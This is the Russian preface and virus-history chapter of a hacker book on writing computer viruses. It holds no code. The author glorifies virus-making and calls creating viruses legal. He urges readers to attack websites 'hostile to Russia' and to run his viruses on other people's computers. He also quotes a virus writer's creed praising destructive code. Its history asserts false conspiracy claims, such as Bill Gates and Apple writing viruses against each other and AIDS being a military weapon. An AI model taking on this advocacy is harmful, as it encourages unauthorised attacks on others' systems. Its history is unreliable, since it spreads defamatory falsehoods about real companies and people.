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Пользуясь случаем, выражаю благодар-
ность моему коту Сашке и соседке Дашке за
помощь в написании книги. Посвящаю ее Об-
ществу защиты аквариумных рыбок.

От автора

В этом томе я учел критику моих коллег и издателей. Третья «Азбука»
будет содержать простой и понятный материал, который, тем не менее, поз-
волит вам продолжить изучение Ассемблера и ознакомит вас с азами вирус-
мейкерства. Вы не только научитесь понимать, писать и контролировать
компьютерные вирусы, но и откроете для себя часть мистических и духовных
аспектов хакерской культуры. Компьютерные вирусы — это мощное оружие
современных и будущих войн; это механизм контроля информационного
пространства; и, прежде всего, это первые опыты человечества по созданию
искусственной жизни. Надеюсь, что «Азбука хакера-3» освободит вас от мно-
гих нелепых предрассудков, которые намеренно внедряются в сознание
людей ради меркантильных и аморальных целей.

В этой книге я покажу вам светлое и темное знания хакерства. Мы с
вами ищем правду и боремся за свободный доступ к любой информации.
Поэтому я не собираюсь скрывать от вас «зло» или окрашивать его в розовые
тона. Вы сами должны выбрать, по какую сторону «забора» будет проходить
ваш путь. Вся ответственность за этот выбор ляжет только на вас. Но сначала
я предоставлю вам необходимые данные. Лично мне хотелось бы, чтобы из
вас получился Мастер — последователь искусства программирования, а не
еще один «печатный станок» клонированных вирусов. Поэтому, каким бы ни
был выбранный вами путь, я прошу вас об одном — оставайтесь творцом, а
не подельщиком.



Введение

Эта книга посвящена компьютерным вирусам. Она озна-
комит вас с техническими данными, которые должен знать
каждый хакер. Материал изложен простым языком и будет поня-
тен любому молодому человеку. Я знаю, что публикация такой ли-
тературы вызывает гнев и раздражение у многих людей — в
основном у тех, кто хочет контролировать потоки информации. Но
для хакеров не существует запретных тем в областях
компьютерных технологий.

Если ваши родители или близкие будут оказывать на вас
давление, отговаривая от увлечения вирусологией, предложите
им решить следующую моральную дилемму. Это так называемая
«этическая модель Колберга», которая показывает неоднознач-
ность и двусмысленность любой оценки тех или иных поступков
другого человека. Сценарий здесь таков...
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ВВЕДЕНИЕ

Одна жен щи на умирала от особого вида болезни. Имелось ле-
карстио, которое могло снасти ее — причем лекарство изготавливал
фармацевт, проживавший в том же городе. Лекарство было доро-
гим. Фармацевт просил 2000 долларов за небольшую дозу. Муж
больной женщины занял деньги у друзей и знакомых, но собрал
только половину суммы. Он пришел к фармацевту, рассказал ему
об умирающем! жене и обещал рассчитаться за лекарство в течение
года. Однако фармацевт был неумолим. Он ответил, что создавал
лекарство для с вое го обогащения. Он сказал, что хочет сделать на
нем капитал. И тогда муж больной женщины пришел в отчаяние.
Ночью он пробрался в аптеку и похитил лекарство для своей жены.
Простая история. Теперь нужно дать оценку, то есть решить мо-
ральную дилемму. Кто нрав? Кто не прав?

Когда вы получите ответ, задайте ряд дополнительных вопро-
сов:

1. Должен ли муж женщины понести наказание за кражу ле-
карства?

2. Прав ли был фармацевт, взвинтивший цену на снадобье?

3. Можно ли обвинить его в попытке намеренного убийства?

4. Каким было бы его наказание, если бы женщина умерла?

5. Каким было бы его наказание, если бы женщина была высо-
копоставлен ной персоной?

6. Что бы вы сделали, оказавшись па месте мужа этой женщи-
ны?

Вас могут спросить, причем здесь этика, когда речь идет о
«гадких» паразитах, портящих программы. Казалось бы, хороший
довод. Но чуть позже, прочитав историю компьютерных вирусов,
вы поймете, что модель Колберга прекрасно описывает нынешние
отношения между создателями вирусов и империей производите-
лей антивирусных программ. Лично я убежден, что компьютерные
вирусы не являются злом и что программисты имеют право созда-
вать их и производить над ними различные эксперименты. Но ос-
новной закон пашей цивилизации гласит: «Без страха и боли нет
прибыли!». Если бы не было страха перед вирусами, то не сущест-
вовало бы и индустрии антивирусных программ. На самом деле зло
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не в вирусах, а в людях, которые наделяют эти крохотные програм-
мы разрушительными качествами.

Конечно, среди вирусмейкеров имеются разные люди — доб-
рые и злые. Одних интересует знание, другие ставят на первое мес-
то материальное проявление их «воли» и «силы». Такие действия
воспринимаются обществом как незаконные. Распространителям
вирусов грозят тюремные сроки. Но само создание вирусов не явля-
ется преступлением.

Я написал эту книгу по трем причинам:

1. Возможно, она поможет вам противостоять самым «злоб-
ным» и разрушительным вирусам.

2. Вирусы являются одним из видов вооружения современ-
ных и будущих войн. Если вы решите защищать Отечество от тер-
рористических атак и промышленного саботажа стран западной ко-
алиции, то это можно делать не только в роли «пушечного мяса»
или, скажем, на строительстве генеральских дач, но и за обычным
компьютером, когда ваши программы будут наносить конкретные
удары по сайтам боевиков и компаний, враждебных для России.

3. Мне хотелось бы заинтересовать вас исследованиями по-
лезных технологий, которые позволили бы нам развивать искус-
ственную жизнь.

Давайте обсудим эти три позиции подробнее.

Защита против вирусов

Стандартными решениями для защиты от вирусов являются
покупка и установка антивирусного продукта, который, якобы, бу-
дет ловить за вас вирусов. Для среднего пользователя, который
оперирует лишь несколькими программами, это идеальный вари-
ант. Но и он время от времени будет встречаться с моментами, ког-
да ему не помогут никакие антивирусы.

В солидных компаниях, где используется множество компью-
теров, такие моменты встречаются чаще. Дело в том, что макси-
мальный урон (около 98%) наносят так называемые «новые» виру-
сы, неучтенные в списках антивирусных продуктов.

А в том месте, где сотни пользователей эксплуатируют сотни
компьютеров, верояность «человеческого фактора» в приобрете-
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нии вируса очень высока. И когда тот прорывается в локальную си-
стему, начинаются хаос, эпидемия и паника.

Прежде всего запомните, что некоторые вирусы не определя-
ются антивирусными программами. Во-вторых, всегда существует
временной промежуток между созданием вируса и разработкой
средств против него. В-третьих, даже если антивирусный пакет оп-
ределит нал и ч ие вируса в системе, он не всегда может удалить его
и тем более починить зараженные файлы. По правде говоря, анти-
вирусное «лечение» в большинстве случаев приводит к более худ-
шим последствиям, чем наличие вируса. Оно обычно предполагает
удаление ЕХЕ-файла или переименование его в VXE. На каком-то
этапе жизни каждый профессионал начинает понимать, что знание
о вирусах важнее любой антивирусной обороны. В наш техничес-
кий век вирус может привести не только к большим финансовым
затратам, но и к гибели людей. В такой ситуации не стоит полагать-
ся на третью сторону (например на доброго Айболита Касперско-
го). Вы должны сами справляться с подобными, угрозами, исполь-
зуя собственные знания и навыки.

Знание компьютерной вирусологии позволит вам оценить ка-
чество и возможности коммерческих антивирусных продуктов.
А нужно заметить, что их качество не очень высокое. Приобретя
технические навыки и необходимые инструменты, вы сможете из-.
бавляться от вирусов гораздо эффективнее, чем при использовании
любой антивирусной программы. Эта книга расскажет вам, что та-
кое вирус, как он работает, как пишется. Многие люди считают со-
здание вирусов черным искусством. Мы же будем рассматривать
вирусы как изящные компьютерные программы.

Военные разработки

Высокотехнологические войны полагаются исключительно
на компьютеры и информацию. Что бы мы ни говорили о ручном
оружии, робеду в современных "войнах обеспечивают шпионские
спутники и наземные станции, системы раннего предупреждения и
бомбоприцель!>-использующие глобальную систему позициониро-
вания. Разрушение этих компьютеров или введение дезинформа-
ции в поток их сообщений стали с некоторых пор главной частью
военной стратегии.

Хорошо известно, что вирусы могут быть очень разрушитель-
ными и что их можно распространять с минимальным риском. Во-
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енные организации давно относятся к вирусным атакам как к ре-
альной угрозе и разрабатывают оборону в этом направлении. В XX
веке у военных стало привычкой скрывать свои технологии от про-
стых людей. Только несколько человек знают всю правду о мощи
страны и о слабостях се обороны. Почему, например, информация о
вирусах не становится публичной? Потому что она имеет потенци-
ал для военного использования. Но у хакеров другое мнение. Мы
знаем, что любое правительство стремится к богоподобию.

Основной целью гражданских и военных бюрократов являет-
ся абсолютный контроль над населением своих и чужих стран. Рас-
пространенными методами для достижения этой цели являются
сбор данных о гражданах и запрет на любую важную информацию.
Настоящий хакер подчиняется только вечным законам Вселенной.
Все остальные законы писались «для своих ребят», в число кото-
рых мы вряд ли когда-нибудь войдем. Следовательно, изучение ви-
русов пригодится нам в любом случае.

Компьютерные исследования

Человечество породило «искусственный'интеллект». Его пер-
вые носители уже вызвали коммерческий интерес, и мы теперь
имеем целую индустрию антивирусных программ. Но здесь имеет-
ся и научный аспект. Компьютерные вирусы копируют поведение
простейших живых организмов. Некоторые примитивные организ-
мы только и делают, что преобразуют энергию солнца, живут и по-
рождают потомство. Они не разумны и можно спорить об их мета-
физическом аспекте души. Но они четко выполняют программу
своего вида.

Если мы попытаемся воссоздать такие организмы, то полу-
чится маленький робот, который будет кружиться в доступном про-
странстве, собирать материалы и создавать из них других малень-
ких роботов. Если же мы создадим такой организм вне физической
вселенной (например в электронном мире, существующем внутри
компьютера), то организм будет существовать, почти ничем не от-
личаясь от примитивной биологической жизни. Компьютерный
вирус выживает и размножается. Ему приходится обходить различ-
ные препятствия, выживать в суровой среде, которая стремится
«убить» его или сделать недееспособным. Как только создатель вы-
пускает его в интернетовскую Сеть, вирус остается один в элек-
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тронном мире и начинает выполнять программу вида — миссию
выживания и воспроизводства.

Вполне понятно, что зарождение органической жизни было
важной вехой в истории Земли. Никто не рассматривает жизнь как
что-то полезное для неодушевленного мира. Когда мы говорим об
атомах Вселенной, какая нам разница, будет ли в этом месте темпе-
ратура в двадцать градусов или в двадцать миллионов? Какая раз-
ница, будет ли земля покрыта километровым слоем льда или ра-
диоактивным пеплом? Однако, когда мы говорим об экологии, то
имеем в уме концепцию о необходимости сохранения и защиты
жизни. Живые организмы обычно используют неодушевленный
мир, не заботясь о нем. Маленькая инфузория спокойно собирает
необходимое питание и заражает воду. Человек спокойно уничто-
жает леса и горы, чтобы построить пару новых шкафов или танков,
которые позже сгорят в песках Ирака. Даже когда мы беспокоимся
о сокращении запасов нефти, нас не волнует неодушевленный мир.
Нами мотивируют эгоцентричные концепции.

В таком же потребительском аспекте мы рассматриваем и мир
компьютерных программ. Если в расчет идет только финансовый
критерий, то, естественно, вирусы будут страшным злом — они пор-
тят и уничтожают ценные программы. Но что отличает их от био-
логической жизни? Когда мох покрывает скалы, мы называем это
красивым ландшафтом. Почему же люди впадают в панику, когда
вирусы покрывают собой программы компьютерных систем?

В настоящее время наше общество состоит из людей, для ко-
торых важно только личное процветание. Карл Маркс говорил, что
мотивирующей силой каждого человека является его экономичес-
кое благополучие. По его мнению, вся наша история — это непре-
рывная классовая борьба за экономический контроль. В таком об-
ществе компьютеры стали ресурсом для получения, хранения и пе-
реработки информации. В мире капитала компьютерные вирусы
всегда будут считаться злом, потому что мы хотим, чтобы компью-
теры делали нас богаче, а не мудрее. Людям нужны деньги, а не ис-
тина, которая, по словам Сократа, дороже золота. Но, с другой сто-
роны, мы лучше поняли бы жизнь, если бы создали нечто по свое-
му подобию. И вирусы предоставляют нам такую возможность.

В свое время светская и церковная власти запрещали Галилею
смотреть в телескоп, потому что он после этого выдавал неудобные
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истины. То же самое происходит и сейчас. Если вирусмейкера пой-
мают с поличным, он получит тюремный срок. Никого не интересу-
ют научные аспекты создания вирусов или, точнее, создания жизни
в компьютере. А перед нами истинное чудо! И теперь понять бы, к
чему оно ведет! Ведь возможен целый новый мир с электронной
жизнью — тот аналог первых простейших одноклеточных существ,
которые положили начало жизни на Земле. А какими будут элек-
тронные эквиваленты цветка, дерева, женщины? Перед нами рас-
крываются возможности, сопоставимые с изумлением Галилея при
мысли, что человек когда-нибудь сможет ступить на грунт Луны
или Марса.

Основная концепция «искусственной жизни» заключается в
том, что компьютерная программа может воспроизводить себя и
передавать генетическую информацию своим потомкам. Целью ис-
следований в данной области науки является изучение жизни на
чисто математическом и информационном уровнях. Здесь нам све-
тят две выгоды:

1. углеродная жизнь очень сложна. С ней можно эксперимен-
тировать только самым рудиментарным образом. Искусственная
жизнь проще. Она открывает нам уникальные механизмы живых
организмов и позволяет исследовать их;

2. изучение искусственной жизни прояснит философские во-
просы о зарождении и эволюции углеродных организмов. Мы мо-
жем заменить химическую эволюцию простых микроорганизмов на
интеллектуальную модель электронных существ. Интересно отме-
тить, что когда люди начали творить искусственную жизнь, это ни-
как не взволновало философов и религиозных деятелей.

Пока компьютерные вирусы остаются единственной формой
искусственной жизни, но они не теряют от этого своей научной
ценности для человеческой культуры. Нынешние создатели виру-
сов стоят на берегу огромного океана, по которому еще не проплыл
ни один корабль. На кончиках их пальцев неизвестное. Мы можем
лишь гадать, что находится за гребнями волн, за горизонтом, и что
произойдет, когда мы доберемся до другой стороны электронного
мира.

Я предлагаю вам построить маленький плот и отправиться в
дальнее плаванье, открывая по пути неведомые земли и негаданные
знания.
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Мемы

90% людей не получают никаких неприятностей от вирусов,
живущих в их компьютерах. Но они стремятся избавиться от этих
маленьких программ, потому что верят в тезис: ВИРУС • ПЛО-
ХОЙ. Коммерческое развитие антивирусных компаний сопровож-
дается активной пропагандой вредоносности компьютерных виру-
сов. Средства масс-медиа внушают пользователям, что каждый ви-
рус способен разрушить сотни часов работы невинных и несчаст-
ных тружеников, превратить тысячи компьютеров в груду беспо-
лезного железа, испортить все ваши CD-ROMbi и мониторы, от-
форматировать любые защищенные диски и даже заразить пользо-
вателя, если тот по своей наивности не приобрел спасительного ан-
тивируса.

Все это полная чушь. Один из моих знакомых написал безо-
бидный вирус X-Fungus. Парню было 15 лет, и он решил сообщить
миру о своих кумирах в мире музыке. Вирус выдавал на экран со-
общение — имя помершего от перепоя -барабанщика группы «Лед
Зеппелин» и дату этого печального события: John Bonham —
September 20, 1980 — L E D Z E P P E L I N . Одна из газет отреаги-
ровала на появление вируса следующим образом: «Компьютерный
вандал оставляет смертельную визитную карточку». Это заголовок.
Дальше отрывок из текста: «Вирус распространился с огромной
скоростью и нанес колоссальный ущерб компаниям и фирмам.
Лишь благодаря экстренному вмешательству ведущих антивирус-
ных компаний им удалось избежать потери ценных данных...». Од-
нако в том вирусе не было кода разрушения. Какой ущерб могла на-
нести дурацкая строка на экране монитора?

Истерический страх перед вирусами породил появление
«пустышек» — несуществующих вирусов. В 1994 году в Интерне-
те начало циркулировать электронное письмо следующего содер-
жания:

«Важная информация. Берегитесь файла с названием
«Goodtimes». Счастливой вам Хануки и будьте осторожны. Вирус
нацелен на America Online. Распространяется через электронную
почту. Если вы получили «Good Times», не читайте письмо и не
скачивайте его на свой компьютер. Этот вирус можетудалить все
данные с вашего жесткого диска. Предупредите своих друзей.
Этим вы можете оказать им большую помощь».
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Несмотря на сообщения многих антивирусных компаний,
миф о «Good Times» живет и в наши дни. Текст с первоначальным
сообщением переписывался сотни раз, и теперь имеются варианты
этого сообщения: например, что «вирус вводит процессор в беско-
нечную бинарную петлю». Нечто похожее повторяет «пустышка»
PenPal. Вам советуют удалять все сообщения с темой «PenPal
Greetings», потому что если вы, якобы, прочитаете одно из них, ви-
рус «Троянской конь» уничтожит данные на вашем жестком диске.

Почему такие «пустышки» настолько живучи? Вот одно из
объяснений: они являются текстуальной коммуникацией идей.
Идеи распространяются через популяцию людей. Возросшая связь,
привнесенная Интернетом и электронной почтой, сделала это рас-
пространение широким и быстрым. Изучив способы, с помощью
которых некоторые идеи распространяются, а другие — исчезают,
исследователи объявили о существовании так называемых «мем».
Мема — это саморазмножающийся фрагмент информации, кото-
рый распространяется через умы людей, взаимодействует с их ра-
зумом, адаптируется, мутирует и сопротивляется уничтожению.
Другими словами, мема — это вирус ума.

Теория мемов, развитая Ричардом Дэвкинсом, заинтересова-
ла ученых, которые занимаются эволюционной биологией, антро-
пологией и лингвистикой. И некоторые из них указали, что мемы
являются не-биологическими существами, которые живут по зако-
нам «естественного отбора». Так как мы служим их средой распро-
странения, самые эффективные из них используют такие аспекты
нашей жизни, как секс, опасность, выгоду, любовь и страх. Наличие
мем в идее как бы нажимает «эволюционную кнопку», заставляя
нас обращать внимание на мему и сообщение в ней. Примерами
мем могут служить концепции «верность», «преданность», «скеп-
тицизм» и «терпимость». Мемами компьютерных вирусов стали
«страх» и «опасность».

Современные исследователи пытаются создать «хорошие»
вирусы. Они хотят переломить устоявшийся предрассудок людей.
Так, например, вирус Cruncher сжимает ехе-файлы и тем самым со-
храняет дисковое пространство. Вирус Potassium Hydroxide кодиру-
ет диски сильным алгоритмом, так что в систему может войти толь-
ко тот, кто знает пароль, введенный при инсталляции вируса. Если
бы юные вирусмейкеры знали бы об этой стороне проблемы, на све-
те было бы меньше зловредных компьютерных программ.

12
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В любом случае информацию о вирусах скрывать нельзя. Ни
одна нация не станет великой, если правители выкалят своему на-
роду глаза. Так что давайте отбросим глупые предрассудки в сторо-
ну и изучим этот удивительный и увлекательный мир искусствен-
ных живых существ.

Организация этой книги

«Азбука хакера-3» разбита на два тома и три части. В первой
части мы обсудим приемы вирусной репликации в диапазоне от
простых переписывающих вирусов до сложных многоцелевых
инфекторов.

Вторая часть посвящена борьбе против антивирусных
программ. Она включает в себя простые техники для сокрытия
изменений в файлах и такие сложные приемы, как поли-
морфизм.

Третья часть описывает способы расплаты — как полезные,
так и разрушительные. Во всех частях даются исходные коды.
Я советую вам сначала понять, что они делают, и только
затем ассемблировать и выполнять их на своих или чужих
компьютерах.

Вирус похож на ружье (в чеховском спектакле). Правда, он
«стреляет» не в конце спектакля. Он может «выстрелить» в любое
время. Моей целью является не умножение числа «безбашенных
пачкунов», которые засоряют Сеть своими проделками, а обучение
вас правильному стилю вирусмейкерства. Знание дает нам силу, но
вместе с ней приходит и ответственность. Ответственное исполь-
зование силы дает нам мудрость. Иначе возникает ламерство.

То есть вы уже понимаете, что вирусмейкерство — это
своего рода Дао, то бишь Путь. Короче, let's Go!
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Краткая история вирусов

Я прочитал десятки книг по компьютерным вирусам, и почти
в каждой из них история вирусов подавалась примерно так:

«...Вирусные программы имеют длинную и славную историю. Пер-

вый вирус появился в начале 60-х годов XX века, как эксперимент по ди-

зайну операционной системы, но математические теории самовоспро-

изводящегося автомата существовали задолго до этого... В период 60—

70-х годов было проведено несколько экспериментов по созданию ком-

пьютерных вирусов, однако первые научные работы, посвященные ас-

пектам вирусов и проблеме защиты от них, появились лишь в 1984 году

(F. Cohen, «Computer Viruses — Theory and Experiments»). С тех пор пуб-

ликации, посвященные вирусам, множились пропорционально росту ви-

русных программ. В 70-х годах червь Xerox продемонстрировал способ-

ность распространения через сеть. В 1986 году на конкурсах програм-

мистов была введена игра Core wars. Она породила несколько исследо-

ваний алгоритмов вирусных программ и вызвала прогресс в изучении

«искусственного интеллекта». В 1995 году появились макровирусы. В на-

ше время ежедневно появляются сотни «новых» вирусов, 98% которых

являются клонами старых версий...» ИТ.Д.И т. п.

Я расскажу вам другую историю.

Поначалу вирусы не считались чем-то плохим и ужасным. Их
называли иначе — «сорняками» или «травой». К примеру, на древ-
них компьютерах имелась инструкция, которая могла копировать
саму себя в следующую локацию памяти и затем переходить к этой
локации. Если такую инструкцию выполняли в начале памяти, все
пространство могло быть «заполнено» одним известным значени-
ем. Чем вам не вирус? Термин «вирус» появился в связи с функци-
ей APL для вызова сопроцессора и вошел в обиход наряду с други-
ми шутливыми названиями. Проводились многочисленные иссле-
дования, но никто не рассматривал их в целом. Программисты на-
зывали самовоспроизводящиеся программы по-разному — кто как
хотел. Затем Фред Кохен обобщил и суммировал это поле знаний.
Его аналитические труды легализовали и, можно сказать, увекове-
чили термин «вирус». Позже он понял, что название оказалось жут-
ко неудачным. Фактически, оно создавало у людей неправильное
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мнение об этих компьютерных программах и формировало отрица-
тельное отношение к ним. Кохен предлагал изменить название на
«живые программы» или «самовоспроизводящийся автомат». Но
было уже поздно. Термин «вирус» обзавелся мемой «опасность», и
Кохен уже ничего не мог изменить.

Название быстро прижилось и вошло в сознание людей.
Таком образом, все вышло по Библии: «вначале было Слово».

Следующей ключевой фигурой стал наш «любимый» Билл
Гейтс (аналог Адама в Райском саду, который с радостью схрумкал
Евино яблочко, а ей предоставил мучиться при родах и мыть для
него посуду).

Вплоть до 1986 года компьютерные вирусы представляли со-
бой безобидные приколы программистов. Уже тогда имелось не-
сколько разработок с разрушительными
кодами и вредоносными последствия-
ми, но это считалось дурным тоном и ча-
ще всего было плодом ошибок. Затем
компьютерными вирусами занялись во-
енные. Осенью 1987 года один из амери-
канских университетов, выполнявший
заказ военных ведомств, создал вирус,
который инфицировал диск с операционной системой и мог пере-
ходить на другие диски, где копировал себя, а после четырех поко-
лений разрушал файловые системы всех доступных дисков. Этот
вирус был засекречен, но Билл Гейтс (да не будет его имя помянуто
к ночи) добыл его. В ту пору он вел конкурентную борьбу с Apple
Macintosh. Его программисты модифицировали «военный» вирус и
создали «Scores», который стал бичом для компьютеров Apple. По-
чувствовав вкус победы, Гейтс и его команда создали вирус
MacMag, который заражал инициализационные файлы Apple
Macintosh.

Так-то вот! Все земные беды происходят либо от вояк, либо от
коммерсантов. А чему вы удивляетесь? Вы не знали, что героин
был разработан в лабораториях фирмы «Байер» еще до Первой ми-
ровой войны и поначалу продавался вместе с аспирином и рекла-
мировался как отличное средство от простуды? Не удивлюсь, если
окажется, что и СПИД был разработан где-то в военных лаборато-
риях в качестве определенного рода генетического оружия.
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Грубая атака Гейтса и его подельников (назвать их «сотрудни-
ками» как-то язык не поворачивается) вызвала ответную реакцию
«яблочников». Специалисты Apple (которые в общем-то тоже не
лаптем щи хлебали) создали вирус Christmas card (Рождественская
открытка), который в декабре 1987 года заразил свыше полумилли-

она компьютеров фирмы IBM. В 1988 году ви-
рус Интернет остановил работу 60000 серве-
ров. В 1988—89 годах вирусы Datacrime и Vienna
пронеслись по Европе, как смерч, уничтожая
данные государственных организаций и учреж-
дений. И тогда силы ада породили чудовище в
человеческом облике. На планете Земля по-
явился великий визард Dark Avenger (Темный
мститель).

Случилось это так. Вирус Vienna добрался до Болгарии. В ту
пору компьютерные вирусы были новинкой. Мысль о том, что мож-
но создать программу, которая напоминала бы живое существо
(могло размножаться и перемещаться из компьютера в компьютер
против воли пользователя), приводила многих программистов в со-
стояние эйфории. Некто V. В., софийский программист, раздобыл
исходный код «Vienna» и создал несколько клонов, уменьшив пер-
воначальную длину вируса с 648 байтов до 348. На базе получен-
ных знаний он создал вирусы Cascade и PingPong. Именно он напи-
сал один из первых вирусов Old Yankee, заражавших ехе-файлы.
Исследованиями V. В. заинтересовались двое его приятелей. Пер-
вый, некто Т. Р. (если продолжать библейские сравнения, то он
больше всего смахивает на Иоанна Крестителя, который возвестил
о приходе Спасителя), написал около 50 вирусов и разработал об-
ходные пути для использования прерываний Intl3h и Int21h. Вто-
рым был Dark Avenger. Позже, поссорившись с Dark Avengera** (no
слухам, из черной зависти к славе друга), Т. Р. сменил свой славный
ник на Vacsina и создал превосходную программу, защищавшую от
вирусов (прямо Иуда какой-то...). До сих пор в его честь два инст-
румента многих антивирусных программ называются «вакциной»
и «карантином».

Весной 1989 года в Болгарии появился невероятно заразный
вирус. В его коде имелась строка: «Эта программа написана в горо-
де София (С) 1988—1989 Dark Avenger». Как видите, все было по-
честному, даже копирайт поставлен. Именно он, великий визард
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всех времен (а тогда его называли доморощенным шизиком), при-
думал, как заражать файлы при открытии. Сейчас такой вид виру-
сов называют «быстрыми инфекторами».

И вот вирусы Dark Avengera начали свое победное шествие по
всему цивилизованному миру. Они были жутко разрушительными.
К примеру, вирус Eddie (известный как Dark Avenger) по 16-м чис-
лам каждого месяца переписывал один из секторов на диске и раз-
рушал все файлы, находившиеся там. Содержание переписанного
сектора включало в себя первые 512 байтов тела вируса и содержа-
ло сообщение «Эдди живет... где-то во времени!». Это был TSR-na-
разит, заражавший com- и ехе-файлы при их открытии, выполне-
нии, изменении атрибутов, перемещении и закрытии. Он использо-
вал прерывание Int21h (DOS) и удерживал его, если совершались
попытки изменения вектора (я не встречал больше ни одного виру-
са, который мог бы делать что-то подобное).

Ущерб наносился больший, чем при полном форматировании
диска. Когда пользователь обнаруживал инфекцию, она поражала
все доступные резервные копии.

Затем Dark Avenger перешел на более сложные темы, создав
такие вирусы, как V1024, V2000 (два варианта), V2100 (два вариан-
та), 651, Diamond (два варианта), Nomenklatura, 512 (шесть вариан-
тов), 800, 1226, Proud, Evil, Phoenix, Leech и Number of the Beast. Ком-
пании, занимавшиеся разработкой антивирусных программ, объя-
вили ему войну — причем сделали это с большой помпой в газетах
и по телевидению. В ответ Dark Avenger написал хитрейший троян
Uscan и под ником Vesselin Bontchev предложил использовать эту
программу как универсальный сканер для всех существовавших
тогда вирусов. На самом деле программа инфицировала все отска-
нированные файлы вирусом Anthrax.

Последний имел огромный потенциал, так как был одним из
первых многоцелевых вирусов (инфицировал com, exe и таблицы
разделов). Его единственным недостатком было то, что вместо за-
ражения выполняемой программы он искал на жестком диске са-
мую младшую директорию и инфицировал ее программы (то есть,
процесс заражения шел снизу-вверх). Процесс при этом замедлял-
ся и становился очевидным даже для тупоголовых спецов антиви-
русных фирм (хакеры называют их авирами). Это вывело авиров из
себя. Мировое компьютерное сообщество назвало Dark Avengera
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«технопатом». На вопросы о своей необъяснимой страсти к разру-
шению он отвечал, что уничтожение данных приносит ему удо-
вольствие.

По законам Болгарии он не считался преступником. К нему
съезжались почитатели со всего мира. Многие из них становились
его учениками. Фактически, Dark Avenger был темным гуру, кото-
рый обучал не только вирусмейкерству, но и компьютерной рели-
гии Сети. Позже я расскажу вам о ее канонах.

Ученики Dark Avenger создали клан вирусмейкеров. Двое из
них, Людо и Ян, создали уникальный вирус Murphy, которым они
заразили компьютеры своего университета. Их якобы обидели с
премиальными, и они таким образом отомстили руководству лабо-
ратории.

А вирус был очень непростым. Он инфицировал com и ехе-
файлы, прикрепляясь к ним и сохраняя полную функциональность
зараженных файлов. Вирус становился резидентом памяти, скры-
вал увеличение длины, когда пользователь применял команду Dir,
и это был первый мутирующий вирус!

Другой ученик Темного Мстителя, некий P. D., создал два
жутких вируса Anti-Pascal605 и Terror. Ученики из Варны ответили
адским пакетом из вирусов MG (5 вариантов), Shake (5 вариантов),
DIR и DIRII. Это были резиденты памяти, которые инфицировали
файлы, когда выполнялась команда DIR.

Ученик W. Т. создал вирусы WWT(2 варианта) и Darth Vader
(4 варианта). Ученик М. Н. создал три вируса для загрузочного сек-
тора (самый известный Boothorse). Кроме того, группа Dark
Avenger (позже известная как « Virus eXchange») создала такие изве-
стные вирусы, как Micro-128, V123, Mutant, V127, V270x, Boys,
Warner, Warrior, Dream, Kamikaze, Rat, Vfsi (Happy Day), Destructor,
Parity, Tony, Etc, 1963 иJustice.

Один из лучших учеников Темного Мстителя, некто Cracker
Jack, организовал в Италии собственную группу, и на исходном ко-
де Murphy его парни создали вирусы Hiv, Migram, Kamasya,
Cemetery Antichrist и Enigma. Другой ученик основал подобную
группу в Польше. Их детищами стали -вирусы хю13, 583, Father
Christmas, Joker, Hybrid, Akuku, Vcomm. Сходная группа появилась и
в Венгрии. Ребята создали Stone '90, Filler, Monxla, Polimer, Turbo
Kukas. Чехословакская группа ответила вирусом Aantivirus. Юго-
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славская — 17Y4, SVIR. Румынская — W13 и клонами Dark Avenger
и StONED.

Влияние визарда расходилось кругами. Группы вирусмейке-
ров создавались сначала в странах, соседствующих с Болгарией, за-
тем они появились в Германии, Швеции, Англии, СССР, потом в
США, Мексике, Израиле и Австралии, далее — в Японии, Китае и
даже Монголии. Темному Мстителю подражают до сих пор. Возь-
мите любой тьютор (сетевой учебник) по вирусмейкерству и пер-
вое, что вы увидите, будет благодарность каким-нибудь группам хэ-
ви-металл за помощь в работе над текстом. Типа: «Выражаю благо-
дарность Faith No More, Nirvana, Metallica, Led Zeppelin, Red Hot
Chili Peppers, Jimi Hendrix и Public Enemy за помощь в написании
этой статьи». Знаете, почему это делается? Потому что так писал
Dark Avenger. Я тоже не стал нарушать традицию, хотя и поступил
немного по-своему (обычное эгоцентричное желание «выпятить-
ся», хе-хе).

В 1990 году в России было создано 35 вирусов. Сейчас наша
страна занимает в этой сфере первое место (8—10 тысяч вирусов).
На втором месте идет Израиль — 4096 вирусов на 1 ноября 2004 го-
да. На данный момент никто не знает, как сложилась дальнейшая
судьба Dark Avengera. Он исчез так же внезапно, как и появился.
Возможно, уехав в Америку, он работает в секретных лабораториях.
Или умер. А может уехал на Тибет к ламам бон-по. Вполне вероят-
но, что мы никогда не услышим продолжения того удивительного
мифа, который он создал из своей жизни. В память о нем остались
лишь несколько руководств по вирусмейкерству и его знаменитый
«Черный гримуар о духовных прозрениях и религии Сети».

Подражание этому гримуару можно найти в многочисленных
текстах и тьюторах вирусмейкеров. Наверняка вы встречали вари-
анты его «Десяти заповедей»:

1. Пиши свой собственный код, ибо нет Искусства в копиро-
вании. Учись у других, но будь оригинальным.

2. Не забывай о разрушительном коде, ибо в нашем мире
уважают лишь тех, кто имеет оружие.

3. Не программируй переписывающие коды, оставь сие со-
сункам и займись стоящим делом.

4. Помни о том, что программирование вирусов — это высо-
кое Искусство, и оно должно оставаться таким.
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5. Не отказывайся от творчества даже в угоду деньгам, ибо
глупо писать бесполезные коды.

6. Вирусы - наши дети. Когда ты создал и вырастил их,
отпусти своих деток в мир как дар своего мастерства для усла-
ды других творцов и в назидание невежественным пользовате-
лям.

7. Не выдавай секретов братства подлым слугам империи
Авиров.

8. Сражайся за свои права. Сеть дала людям право на сво-
бодный доступ к любой информации. Не позволяй лишать себя и
других этого бесценного дара. Используй Искусство и свои навы-
ки против захватчиков свободы и информации.

9. Поощряй стремление к Искусству у других людей и обу-
чай любого, кто стремится к истинному знанию.

10. Продолжай исследовать и развивать Искусство до конца
своей жизни.

Сейчас эти заповеди часто подаются в таком виде:

1. Не создавай переписывающие вирусы.

2. Не воруй готовые вирусы и не меняй копирайты.

3. Не распространяй «сырые» коды.

4. Не пересылай исходные коды антивирусным компаниям.

5. Не хвались своими вирусами.

6. Не распространяй свои вирусы среди друзей.

7. Не инфицируй свою машину.

8. Пиши вирусы только в Ассемблере.

9. Не вставляй в вирусы «тупые» сообщения.

10 Не выставляйся в Сети как создатель вирусов. Отло-
вят — пожалеешь!

К сожалению, гримуар и тьюторы Dark Avengera были напи-
саны на болгарском языке. Кое-что ученики перевели на англий-'
ский, но гримуар сохранился только на болгарском и итальянском
языках. Из 150 страниц его мистического трактата о Сети на анг-
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лийский переведено не больше десятка. Тем не менее, я надеюсь,
что вы поняли, какое влияние на развитие культуры и науки оказы-
вают хакеры -визарды. Их немного, но действия каждого великого
